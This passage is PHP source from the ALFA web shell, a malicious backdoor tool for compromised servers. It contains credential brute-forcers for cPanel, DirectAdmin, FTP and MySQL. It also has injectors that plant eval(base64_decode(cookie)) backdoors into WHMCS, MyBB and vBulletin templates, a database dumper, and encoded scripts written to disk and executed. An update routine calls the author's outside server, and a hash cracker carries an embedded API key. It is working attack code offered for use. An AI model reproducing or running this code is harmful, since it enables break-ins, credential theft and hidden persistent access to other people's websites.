    "); $data = array(); $tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();"); while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){ $data[$row["table_name"]] = array(); $table_count_q = mysqli_query($db, "SELECT count(*) FROM `".$row['table_name']."`"); $table_count = mysqli_fetch_row($table_count_q); $data[$row["table_name"]]["data_count"] = $table_count[0]; $columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = '".$row['table_name']."'"); while($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){ $data[$row["table_name"]]["cols"][] = $row2["column_name"]; } } mysqli_close($db); echo '
      '; foreach($data as $tbl => $cols){ echo '
    • '.$tbl.' ('.$cols["data_count"].')
        '; foreach($cols["cols"] as $col){ echo '
      • ' . $col . '
      • '; } echo '
    • '; } echo '
    '; }else{ echo('
    mysqli_connect : Error!
    '); } } echo('
    '); alfafooter(); } function alfaDumper(){ alfahead(); echo('
    '); AlfaNum(8,9,10); echo "

    | Mysql Database Dumper |


    ".getConfigHtml('all')."

    "; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Dump Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']).'alfa.sql', 'inputSize' => '50') ); create_table($table); echo "

    "; $username = ($_POST['alfa3']); $password = ($_POST['alfa4']); $dbname = ($_POST['alfa5']); $dfile = ($_POST['alfa6']); $host = ($_POST['alfa7']); if(!empty($dbname)){ echo __pre(); $msg = "
    Check this : ".$dfile."
    "; if(@mysqli_connect($host,$username,$password,$dbname)){ if(strlen(alfaEx("mysqldump"))>0){ alfaEx("mysqldump --single-transaction --host=\"$host\" --user=\"$username\" --password=\"$password\" $dbname > '".addslashes($dfile)."'"); echo($msg); }else{ __alert("Error...!"); } }else{ echo('
    mysqli_connect : Error!
    '); } } echo('
    '); alfafooter(); } function Alfa_DirectAdmin_Cracker($info){ if(!$info['mysql']) $url = $info['protocol'].$info['target'].':'.$info['port'].'/CMD_LOGIN'; else $url = $info['protocol'].$info['target'].'/phpmyadmin'; $curl = curl_init(); curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0'); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($curl, CURLOPT_HEADER,0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_URL,$url); curl_setopt($curl, CURLOPT_USERPWD, $info['username'].':'.$info['password']); if($info['mysql'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY); $result = @curl_exec($curl); $curl_errno = curl_errno($curl); $curl_error = curl_error($curl); if ($curl_errno > 0) {echo "Error: $curl_error
    ";} elseif(preg_match('/CMD_FILE_MANAGER|frameset/i',$result)){ echo 'UserName: '.$info['username'].' PassWord: '.$info['password'].' Login Success....
    '; $info['target'] = $url; CrackerResualt($info); } curl_close($curl); } function Alfa_CP_Cracker($info){ $url = $info['protocol'].$info['target'].':'.$info['port']; $curl = curl_init(); curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0'); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($curl, CURLOPT_HEADER,0); curl_setopt($curl, CURLOPT_RETURNTRANSFER,1); curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info['username'].":".$info['password']) . "\n\r")); curl_setopt($curl, CURLOPT_URL, $url); $result = @curl_exec($curl); $curl_errno = curl_errno($curl); $curl_error = curl_error($curl); if ($curl_errno > 0) {echo "Error: $curl_error
    ";} elseif(preg_match('/filemanager/i',$result)){ echo 'UserName: '.$info['username'].' PassWord: '.$info['password'].' Login Success....
    '; $info['target'] = $url; CrackerResualt($info); } curl_close($curl); } function Alfa_FTP_Cracker($info){ $url = $info['protocol'].$info['target']; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0'); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_USERPWD, "".$info['username'].":".$info['password'].""); $result = @curl_exec($curl); $curl_errno = curl_errno($curl); $curl_error = curl_error($curl); if ($curl_errno > 0) {echo "Error: $curl_error
    ";} elseif(preg_match('/(\d+):(\d+)/i',$result)){ echo 'UserName: '.$info['username'].' PassWord: '.$info['password'].' Login Success....
    '; $info['target'] = $url; CrackerResualt($info); } curl_close($curl); } function Alfa_Mysql_Cracker($info){ if(@mysqli_connect($info['target'].':'.$info['port'],$info['username'],$info['password'])){ CrackerResualt($info); echo 'UserName: '.$info['username'].' PassWord: '.$info['password'].' Login Success....
    '; } } function Alfa_FTPC($info){ if($con=@ftp_connect($info['target'],$info['port'])){ if($con){ $login=@ftp_login($con,$info['username'],$info['password']); if($login){CrackerResualt($info);}}} @ftp_close($con); } function CrackerResualt($info){ $res = $info['target'].' => '.$info['username'].":".$info['password']."\n" ; $c = @fopen($info['fcrack'],'a+'); @fwrite($c, $res); @fclose($c); } function Alfa_Call_Function_Cracker($method,$info){ switch($method){case 'cp':return Alfa_CP_Cracker($info);break;case 'direct': case 'phpmyadmin':return Alfa_DirectAdmin_Cracker($info);break;case 'ftp':return Alfa_FTP_Cracker($info);break;case 'mysql':return Alfa_Mysql_Cracker($info);break;case 'mysql':return Alfa_FTPC($info);break;} } function alfaCrackers(){ alfahead(); AlfaNum(9,10); echo '

    | Brute Forcer |


    Login Page: Protocol: Website/ip Address: Port:
    Users ListPasswords
     

    Save Result Into File

    '; $target = str_replace(array('https://','http://','ftp://'),'',$_POST['alfa1']); $port = $_POST['alfa2']; $usernames= $_POST['alfa3']; $passwords = $_POST['alfa4']; $fcrack = $_POST['alfa5']; $cracking = $_POST['alfa6']; $protocol = $_POST['alfa7']; $loginpanel = $_POST['alfa8']; $p = $loginpanel == 'phpmyadmin' ? $p = true : false; if($cracking=='start'){ echo __pre(); $exuser = explode("\n",$usernames); $expw = explode("\n",$passwords); foreach($exuser as $user){ foreach($expw as $pw){ $array = array('username' => trim($user),'password' => trim($pw),'port' => trim($port),'target' => trim($target),'protocol' => trim($protocol),'fcrack' => trim($fcrack),'mysql' => $p); Alfa_Call_Function_Cracker($loginpanel,$array); } } echo '
    Attack Finished...'; } echo '
    '; alfafooter(); } function output($string){ echo "

    Click Here !


    ";} function alfaShellInjectors(){ alfahead(); echo '
    '; AlfaNum(11); echo '

    | Cms Shell Injector |

    | WHMCS | | MyBB | | vBulletin |

    '; $selector = '

    Shell Inject Method :

    '; if(isset($_POST['alfa1']) && $_POST['alfa1']== 'whmcs'){ AlfaNum(); echo __pre()."

    | WHMCS |

    ".getConfigHtml('whmcs')."

    ";$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50') ); create_table($table); echo $selector; echo "

    "; if(isset($_POST['alfa6'])) { $dbu = $_POST['alfa6']; $dbn = $_POST['alfa7']; $dbp = $_POST['alfa8']; $dbh = $_POST['alfa9']; $path = $_POST['alfa10']; $method = $_POST['alfa4']; $index = "{php}".ALFA_UPLOADER.";{/php}"; $newin = str_replace("'","\'",$index); $newindex = "

    Dear $newin,

    Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.

    To reset your password, please visit the url below:
    {\$pw_reset_url}

    When you visit the link above, your password will be reset, and the new password will be emailed to you.

    {\$signature}

    {php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}"; if(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){ if(filter_var($path,FILTER_VALIDATE_URL)){ $conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error()); $soleSave= mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'"); $soleGet = mysqli_fetch_assoc($soleSave); $tempSave1 = $soleGet['message']; $tempSave = str_replace("'","\'",$tempSave1); mysqli_query($conn,"UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'") or die (mysqli_error($conn)); $inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE name='Password Reset Validation'"; $result = mysqli_query($conn,$inject) or die (mysqli_error($conn)); $create = "insert into tblclients (email) values('solevisible@fbi.gov')"; $result2 = mysqli_query($conn,$create) or die (mysqli_error($conn)); if(function_exists('curl_version') && $method == 'auto'){ $AlfaSole = new AlfaCURL(true); $saveurl = $AlfaSole->Send($path."/pwreset.php"); $getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token); $AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov"); $backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'"; $Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn)); __alert("shell injectet..."); $ff= 'http://'.$path."/solevisible.php"; output($ff);}else{ echo "

    Please go to Target => ".$path."/pwreset.php
    And Reset Password With Email => solevisible@fbi.gov
    And Go To => ".$path."/solevisible.php


    ";}}else{__alert('Path is not Valid...');}}} }if(isset($_POST['alfa2']) && $_POST['alfa2']== 'mybb'){ AlfaNum(1,2,3,5); echo __pre()."

    | MyBB |

    ".getConfigHtml("mybb")."
    "; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id'=>'db_name' ,'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id'=>'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id'=>'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id'=>'db_prefix','inputValue' => 'mybb_', 'inputSize' => '50') ); create_table($table); echo $selector; echo "

    "; if(isset($_POST['alfa6'])) { $dbu = $_POST['alfa6']; $dbn = $_POST['alfa7']; $dbp = $_POST['alfa8']; $dbh = $_POST['alfa9']; $prefix = $_POST['alfa10']; $method = $_POST['alfa4']; $shellCode = "{\${".ALFA_UPLOADER."}}"; $newinshell = str_replace("'","\'",$shellCode); if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){ $conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn)); $inject = "select template from {$prefix}templates where title= 'calendar'"; $result = mysqli_query($conn, $inject) or die (mysqli_error($conn)); $GetTemp = mysqli_fetch_assoc($result); $saveDate = $GetTemp['template']; $repsave = str_replace($shellCode,"",$saveDate); $repsave = str_replace("'","\'",$repsave); $createShell = "update {$prefix}templates SET template= '".$newinshell.$repsave."' where title = 'calendar'"; $result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn)); $geturl = "select value from {$prefix}settings where name= 'bburl'"; $findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn)); $rowb = mysqli_fetch_assoc($findurl); $furl = $rowb['value']; $realurl = parse_url($furl,PHP_URL_HOST); $realpath = parse_url($furl,PHP_URL_PATH); $res = false; $AlfaCurl = new AlfaCURL(); if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto' ){ if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){ @fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\r\n"); @fputs($fsock, "HOST: $realurl\r\n"); @fputs($fsock, "Connection: close\r\n\r\n"); $check = fgets($fsock); if(preg_match("/200 OK/i",$check)){ $repairdbtemp = "update {$prefix}templates SET template= '$repsave' where title = 'calendar'"; $clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;} @fclose($fsock);}}elseif(function_exists('curl_version') && $method == 'auto'){ $AlfaCurl->Send($realurl.$realpath."/calendar.php"); $res = true; } if($res){ $ff = 'http://'.$realurl.$realpath."/solevisible.php"; output($ff); }else{ $ff = 'http://'.$realurl.$realpath."/calendar.php"; $fff = 'http://'.$realurl.$realpath."/solevisible.php"; echo "

    Please Go To Target => ".$ff."
    And Go To => ".$fff."


    "; }}}} if(isset($_POST['alfa3']) && $_POST['alfa3']== 'vb'){ AlfaNum(1,2,7,9,10); echo __pre().'

    | vbulletin |

    '.getConfigHtml('vb').'

    '; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id'=>'db_name','inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id'=>'db_user','inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id'=>'db_pw','inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id'=>'db_prefix','inputValue' => '', 'inputSize' => '50') ); create_table($table); echo $selector; echo '

    '; if(isset($_POST['alfa4'])&&!empty($_POST['alfa4'])){ $method = $_POST['alfa8']; $faq_name = "faq"; $faq_file = "/faq.php"; $code = "{\${".ALFA_UPLOADER."}}{\${exit()}}&"; $conn=@mysqli_connect($_POST['alfa2'],$_POST['alfa4'],$_POST['alfa5'],$_POST['alfa7']) or die(@mysqli_connect_error()); $rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'"; $recivedata = @mysqli_query($conn,$rec); $getd = @mysqli_fetch_assoc($recivedata); $savetoass = $getd['template']; if(empty($savetoass)){ $faq_name = "header"; $faq_file = "/"; $rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'"; $recivedata = @mysqli_query($conn,$rec); $getd = @mysqli_fetch_assoc($recivedata); $savetoass = $getd['template']; $code = ALFA_UPLOADER.";"; } $code = str_replace("'","\'",$code); $p = "UPDATE ".$_POST['alfa6']."template SET `template`='".$code."' WHERE `title`='".$faq_name."'"; $ka= @mysqli_query($conn,$p) or die(mysqli_error($conn)); $geturl = @mysqli_query($conn,"select `value` from ".$_POST['alfa6']."setting WHERE `varname`='bburl'"); $getval = @mysqli_fetch_assoc($geturl); $saveval = $getval['value']; if($faq_name == "header"){ if(substr($saveval, -5, 5) == "/core"){ $saveval = substr($saveval, 0, -5); } } $realurl = parse_url($saveval,PHP_URL_HOST); $realpath = parse_url($saveval,PHP_URL_PATH); $res = false; $AlfaCurl = new AlfaCURL(); if(extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto'){ if($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){ @fputs($fsock, "GET $realpath.$faq_file HTTP/1.1\r\n"); @fputs($fsock, "HOST: $realurl\r\n"); @fputs($fsock, "Connection: close\r\n\r\n"); $check = fgets($fsock); if(preg_match("/200 OK/i",$check)){ $p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'"; $ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn)); $res = true; } @fclose($fsock); } }elseif(function_exists('curl_version') && $method == 'auto'){ $AlfaCurl->Send($realurl.$realpath.$faq_file); $p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'"; $ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn)); $res = true; } if($res){ $ff = 'http://'.$realurl.$realpath."/solevisible.php"; output($ff); }else{ $ff = 'http://'.$realurl.$realpath.$faq_file; $fff = 'http://'.$realurl.$realpath."/solevisible.php"; echo "

    First Open This Link => ".$ff."
    Second Open This Link => ".$fff."

    ";}}} echo ''; alfafooter(); } function alfacheckfiletype(){ $path = $_POST['path']; $arg = $_POST['arg']; if(@is_file($path.'/'.$arg)){ echo("file"); }else{ echo("dir"); } } function alfacheckupdate(){ if($GLOBALS["DB_NAME"]["cgi_api"]){ if(!isset($_COOKIE["haxorcgiapi_mode"])&&!isset($_COOKIE["haxorcgiapi"])){ _alfa_cgicmd("whoami","perl",true); if(strlen(alfaEx("whoami",false,true))>0){ __alfa_set_cookie("alfa_canruncmd", "true"); } } } if(function_exists("curl_version")){ $update = new AlfaCURL(); $json = $update->Send("http://solevisible.com/update.json?ver=".__ALFA_VERSION__); $json = @json_decode($json,true); $data = array(); if($json){ if(!isset($_COOKIE['alfa_checkupdate']) && !empty($json["type"])){ if($json["type"] == "update"){ if(__ALFA_VERSION__ != $json['version'] || __ALFA_UPDATE__ != $json['version_number']){ @setcookie("alfa_checkupdate", "1", time()+86400); $data["content"] = '
    '.$json["content"].'
    '; } } } if(isset($json["ads"]) && !empty($json["ads"])){ $data["content"] .= $json["ads"]; } if(isset($json["copyright"]) && !empty($json["copyright"])){ $data["copyright"] = $json["copyright"]; } if(isset($json["solevisible"]) && !empty($json["solevisible"])){ $data["solevisible"] = $json["solevisible"]; } if(isset($json["code_name"]) && !empty($json["code_name"])){ $data["code_name"] = $json["code_name"]; $data["version_number"] = __ALFA_VERSION__; } if(isset($json["market"]) && !empty($json["market"])){ $data["market"] = $json["market"]; } echo @json_encode($data); } } } function alfaWriteTocgiapi($name, $source){ $temp = ""; $not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa"); if(in_array($name, $not_api)){ $temp = ALFA_TEMPDIR; if($temp){ @chdir($temp); } }else{ alfaCreateParentFolder(); @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__); } @mkdir('haxorcgiapi',0755); __write_file("haxorcgiapi/".$name, __get_resource($source)); @chmod("haxorcgiapi/".$name, 0755); return $temp; } function alfacheckcgi(){if(strlen(alfaEx("id",false,true,true))>0)echo("ok");else echo("no");} function alfaupdateheader(){ if(!isset($_COOKIE["updateheader_data"])){ $bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw=="; $realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"])); $tmp_path = alfaWriteTocgiapi("getheader.alfa",$bash); $data = alfaEx("cd '{$tmp_path}/haxorcgiapi';sh getheader.haxor",false,true,true); if(@is_array(@json_decode($data,true))){ __alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data)); echo $data; } }else{ echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]); } } function alfassiShell(){ alfahead(); echo '
    '; alfaCreateParentFolder(); @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__); @mkdir('alfa_shtml',0755); @chdir('alfa_shtml'); alfacgihtaccess('shtml'); $code = 'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw=='; @__write_file('alfa_ssi.shtml',__get_resource($code)); @chmod("alfa_ssi.shtml",0755); echo AlfaiFrameCreator('alfa_shtml/alfa_ssi.shtml'); echo '
    '; alfafooter(); } function alfacloudflare(){ alfahead(); AlfaNum(8,9,10,7,6,5,4,3); echo "

    | Cloud Flare ByPasser |

    >'); return false;\" method='post'>

    Target:

    "; if($_POST['alfa2'] && $_POST['alfa2'] == '>>'){ $url = $_POST['alfa1']; if(!preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url)){ $url = preg_replace('/^(https?):\/\//', '', $url); $url = "http://www.".$url; } $headers = @get_headers($url, 1); $server = $headers['Server']; $subs = array('owa.','2tty.','m.','gw.','mx1.','store.','1','2','vb.','news.','download.','video','cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns3.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.', 'dl.', 'my.', 'cp.', 'portal.', 'kb.', 'support.','search.', 'docs.', 'files.', 'accounts.', 'secure.', 'register.', 'apps.', 'beta.', 'demo.', 'smtp.', 'ns2.', 'ns1.', 'server.', 'shop.', 'host.', 'web.', 'cloud.', 'api.', 'exchange.', 'app.', 'vps.', 'owa.', 'sat.', 'bbs.', 'movie.', 'music.', 'art.', 'fusion.', 'maps.', 'forums.', 'acc.', 'cc.', 'dev.', 'ww42.', 'wiki.', 'clients.', 'client.','books.','answers.','service.','groups.','images.','upload.','up.','tube.','users.','admin.','administrator.','private.','design.','whmcs.','wp.','wordpress.','joomla.','vbulletin.','test.','developer.','panel.','contact.'); if(preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url, $matches)){ if($matches[2] != 'www'){$url = preg_replace('/^(https?):\/\//', '', $url);}else{ $url = explode($matches[0], $url); $url = $url[1];}} if(is_array($server))$server = $server[0]; echo __pre(); if(preg_match('/cloudflare/i', $server)) echo "\n[+] CloudFlare detected: {$server}\n
    "; else echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n"; echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n

    "; echo "[+] Searching for more IP addresses.\n\n

    "; for($x=0;$x"; } echo "\n[+] Finished.\n
    "; } echo '
    '; alfafooter(); } function is_ipv4($ip){ return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)'; } function __alert($s){ echo '
    '.__pre().$s.'
    '; } function create_table($data){ echo ''; foreach ($data as $key => $val){ $array = array(); foreach($val as $k => $v){ $array[$k] = $v; } echo ""; } echo '
    ".$array['tdName']."
    '; } function alfaphp2xml(){ alfahead(); AlfaNum(8,9,10,7,6,5,4,3); echo "

    | Shell For vBulletin |

    >'); return false;\" method='post'>




    "; if($_POST['alfa2']&&$_POST['alfa2']=='>>'){ echo __pre()."

    '; } echo '
    '; alfafooter(); } function alfacpcrack(){ alfahead(); echo '

    | Hash Tools |

    | DeCrypter | | Hash Analyzer |

    '; if($_POST['alfa1']=='dec'){ $algorithms = array('md5'=>'MD5','md4'=>'MD4','sha1'=>'SHA1','sha256'=>'SHA256','sha384'=>'SHA384','sha512'=>'SHA512','ntlm'=>'NTLM'); echo '
    | DeCrypter |


    Decrypt Method:

    '; if($_POST['alfa3'] == '>>'){ $hash = $_POST['alfa2']; if(!empty($hash)){ $hash_type = $_POST['alfa4']; $email = "solevisible@gmail.com"; $code = "7b9fa79f92c3cd96"; $target = "https://md5decrypt.net/Api/api.php?hash=".$hash."&hash_type=".$hash_type."&email=".$email."&code=".$code; $resp = @file_get_contents($target); if($resp==''){ $get = new AlfaCURL(); $resp = $get->Send($target); } echo __pre().'
    '; switch($resp){ case('CODE ERREUR : 001'):echo "You exceeded the 400 allowed request per day";break; case('CODE ERREUR : 003'):echo "Your request includes more than 400 hashes.";break; case('CODE ERREUR : 004'):echo "The type of hash you provide in the argument hash_type doesn't seem to be valid";break; case('CODE ERREUR : 005'):echo "The hash you provide doesn't seem to match with the type of hash you set.";break; } if(substr($resp,0,4)!='CODE'&&$resp!=''){ echo "Result: ".$resp.""; }elseif(substr($resp,0,4)!='CODE'){ echo "NoT Found
    "; } echo('
    '); } } } if($_POST['alfa1']=='analyzer'){ echo '

    | Hash Analyzer |

    Hash:

    '; if($_POST['alfa3'] == '>>'){ $hash = $_POST['alfa2']; if(!empty($hash)){ $curl = new AlfaCURL(); $resp = $curl->Send("https://md5decrypt.net/en/HashFinder/","post","hash={$hash}&crypt=Search"); echo(__pre().'
    '); if(preg_match('#
    (.*?)
    #',$resp,$s)){ echo(''.$s[1].''); }else{ echo('Not Found...!'); } echo('

    '); } } } echo '
    '; alfafooter(); } function alfafooter(){ if(!isset($_POST['ajax'])){ echo "
    Make File :
    Make Dir :
    Delete :
    Chmod :
    Change Dir :
    Read File :
    Execute :

    Upload file:

    Sql Manager
    0
    Database
    0
    Options
    0
    Editor
    0
    Cgi Shell
